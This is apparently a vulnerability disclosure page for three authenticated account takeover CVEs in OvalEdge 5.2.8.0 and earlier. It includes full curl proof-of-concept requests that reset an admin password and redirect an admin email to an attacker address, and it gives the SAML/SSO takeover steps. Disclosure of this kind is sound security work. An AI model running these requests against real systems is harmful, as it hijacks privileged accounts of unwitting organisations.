> For the complete documentation index, see [llms.txt](https://docs.offsecguy.com/cve/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.offsecguy.com/cve/ovaledge/vulnerabilities/account-takeover.md).

# Account Takeover

## Account Takeover - Change local privileged user password (authenticated) <a href="#finding1" id="finding1"></a>

### CVE-2022-30358

#### OvalEdge 5.2.8.0 and earlier is affected by an Account Takeover vulnerability via a POST request to <mark style="color:red;">/user/updatePassword</mark> via the <mark style="color:red;">userId</mark> and <mark style="color:red;">newPsw</mark> parameters .  Authentication is required.

{% hint style="warning" %}
**<https://example.com/ovaledge>**<mark style="color:red;">**/user/updatePassword**</mark>
{% endhint %}

#### Example CURL Request

<details>

<summary>curl -k 'http://example.com:8080/ovaledge<mark style="color:red;">/user/updatePassword</mark>' \ <br>-H 'Accept: *<em>/*</em>' \<br>-H 'Accept-Language: en-US,en;q=0.9' \<br>-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \ <br>-H 'Cookie: oe-loc=en; JSESSIONID=<mark style="color:red;">NDQ3MzgxM2YtYTFlYS00OTUyLWE0MmItNDYzMmIwZDVhOWUx</mark>' \<br>-H 'Origin: http://example.com:8080' \ <br>-H 'Proxy-Connection: keep-alive' \ <br>-H 'Referer: http://example.com:8080/ovaledge/' \ <br>-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36' \ <br>-H 'X-Requested-With: XMLHttpRequest' \ <br>--data-raw $'<mark style="color:red;">userId</mark>=<mark style="color:red;">admin</mark>&#x26;<mark style="color:red;">newPsw</mark>=<mark style="color:red;">NewPassword123</mark>&#x26;adminServce=false&#x26;user' \ <br>--compressed \ <br>--insecure</summary>

</details>

## Account Takeover - Change local privileged user email address (authenticated)  <a href="#finding2" id="finding2"></a>

### CVE-2022-30357

#### OvalEdge 5.2.8.0 and earlier is affected by an Account Takeover vulnerability via a POST request to <mark style="color:red;">/profile/updateProfile</mark> via the <mark style="color:red;">userId</mark> and <mark style="color:red;">email</mark> parameters .  Authentication is required.

{% hint style="warning" %}
**<https://example.com/ovaledge>**<mark style="color:red;">**/profile/updateProfile**</mark>
{% endhint %}

{% hint style="info" %}
Once the privileged users email address is updated to an email account the attacker controls, the attacker uses the **forgot password** feature to reset the victim account password.  SMTP must be configured properly for the password reset email to be sent.
{% endhint %}

#### Example CURL Request

<details>

<summary>curl -k 'http://example.com:8080/ovaledge<mark style="color:red;">/profile/updateProfile</mark>' \ <br>-H 'Accept: *<em>/*</em>' \ <br>-H 'Accept-Language: en-US,en;q=0.9' \ <br>-H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx632L1l5AnBf76MC' \ <br>-H 'Cookie: oe-loc=en; JSESSIONID=<mark style="color:red;">OGU2OWIxYTgtYTA4Yi00M2QyLTg5YmItMjY4ODczOWNjYWNl</mark>' \ <br>-H 'Origin: http://example.com:8080' \ <br>-H 'Proxy-Connection: keep-alive' \ <br>-H 'Referer: http://example.com:8080/ovaledge/' \ <br>-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36' \ <br>-H 'X-Requested-With: XMLHttpRequest' \ <br>--data-raw $'------WebKitFormBoundaryx632L1l5AnBf76MC\r\nContent-Disposition: form-data; name="fname"\r\n\r\nAdmin\r\n------WebKitFormBoundaryx632L1l5AnBf76MC\r\nContent-Disposition: form-data; name="lname"\r\n\r\nOvalEdge\r\n------WebKitFormBoundaryx632L1l5AnBf76MC\r\nContent-Disposition: form-data; name="<mark style="color:red;">email</mark>"\r\n\r\n<mark style="color:red;">attacker@example.com</mark>\r\n------WebKitFormBoundaryx632L1l5AnBf76MC\r\nContent-Disposition: form-data; name="<mark style="color:red;">userid</mark>"\r\n\r\n<mark style="color:red;">admin</mark>\r\n------WebKitFormBoundaryx632L1l5AnBf76MC\r\nContent-Disposition: form-data; name="phone"\r\n\r\n\r\n------WebKitFormBoundaryx632L1l5AnBf76MC\r\nContent-Disposition: form-data; name="slackid"\r\n\r\n\r\n------WebKitFormBoundaryx632L1l5AnBf76MC\r\nContent-Disposition: form-data; name="picture"; filename=""\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryx632L1l5AnBf76MC\r\nContent-Disposition: form-data; name="stackId"\r\n\r\n\r\n------WebKitFormBoundaryx632L1l5AnBf76MC\r\nContent-Disposition: form-data; name="<mark style="color:red;">userId</mark>"\r\n\r\n<mark style="color:red;">admin</mark>\r\n------WebKitFormBoundaryx632L1l5AnBf76MC--\r\n' \<br>--compressed \ <br>--insecure</summary>

</details>

## Account Takeover - Change SAML/SSO privileged user email address (authenticated) <a href="#finding3" id="finding3"></a>

### CVE-2022-30355

#### OvalEdge 5.2.8.0 and earlier is affected by an Account Takeover vulnerability via a POST request to <mark style="color:red;">/profile/updateProfile</mark> via the <mark style="color:red;">userId</mark> and <mark style="color:red;">email</mark> parameters .  Authentication is required.

{% hint style="warning" %}
**<https://example.com/ovaledge>**<mark style="color:red;">**/profile/updateProfile**</mark>
{% endhint %}

{% hint style="info" %}
In this scenario, the attacker updates their own email address to an off-premise attacker controlled email address. Next, they update the privileged user email address to their own SAML/SSO organizational email address.  Logout. Re-Authenticate via SAML/SSO. Attacker has now taken over the privileged user account.
{% endhint %}